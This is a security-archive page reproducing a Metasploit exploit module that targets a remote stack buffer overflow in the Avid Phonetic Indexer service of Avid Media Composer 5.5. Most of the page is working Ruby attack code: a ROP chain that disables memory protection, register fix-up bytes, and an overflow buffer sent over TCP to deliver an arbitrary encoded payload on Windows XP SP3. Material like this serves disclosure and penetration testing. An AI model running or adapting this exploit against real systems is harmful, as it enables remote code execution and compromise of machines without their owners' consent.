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Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow

Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow
Posted Dec 3, 2011
Authored by Nick Freeman | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a different port; if you start it standalone it will run on port 4660.

tags | exploit, overflow
advisories | OSVDB-77376
MD5 | c4fdcbd39db3ab6e312ae7a02000ae94

Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in process
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
it standalone it will run on port 4660.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vt [nick.freeman@security-assessment.com]',
],
'References' =>
[
['OSVDB', '77376'],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
],
'Payload' =>
{
'Space' => 1012,
'BadChars' => "\x00\x09\x0a\x0d\x20",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
}
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP Professional SP3',
{
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
}
],
],
'Privileged' => false,
'DisclosureDate' => "Nov 29 2011",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(4659),
], self.class)
end

def exploit
rop_gadgets = [
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
# a non-sayonara ROP would be super easy too, I'm just lazy :)
0x7C344CC1, # pop eax;ret;
0x7C3410C2, # pop ecx;pop ecx;ret;
0x7C342462, # xor chain; call eax {0x7C3410C2}
0x7C38C510, # writeable location for lpflOldProtect
0x7C365645, # pop esi;ret;
0x7C345243, # ret;
0x7C348F46, # pop ebp;ret;
0x7C3487EC, # call eax
0x7C344CC1, # pop eax;ret;
0xfffffbfc, # {size}
0x7C34D749, # neg eax;ret; {adjust size}
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
0x7C3439FA, # pop edx;ret;
0xFFFFFFC0, # {flag}
0x7C351EB1, # neg edx;ret; {adjust flag}
0x7C354648, # pop edi;ret;
0x7C3530EA, # mov eax,[eax];ret;
0x7C344CC1, # pop eax;ret;
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
0x7C355AEB, # sub eax,30;ret;
0x7C378C81, # pushad; add al,0xef; ret;
0x7C36683F, # push esp;ret;
].pack("V*")

# need to control a buffer reg for the msf gen'd payload to fly. in this case:
bufregfix = "\x8b\xc4" # MOV EAX,ESP
bufregfix += "\x83\xc0\x10" # ADD EAX,10

connect
sploit = ''
sploit << rand_text_alpha_upper(216)
sploit << [target.ret].pack('V*')
sploit << "A"*732 #This avoids a busted LoadLibrary
sploit << rop_gadgets
sploit << bufregfix
sploit << "\xeb\x09"
sploit << rand_text_alpha_upper(9)
sploit << payload.encoded
sock.put(sploit)
handler
disconnect
end

end

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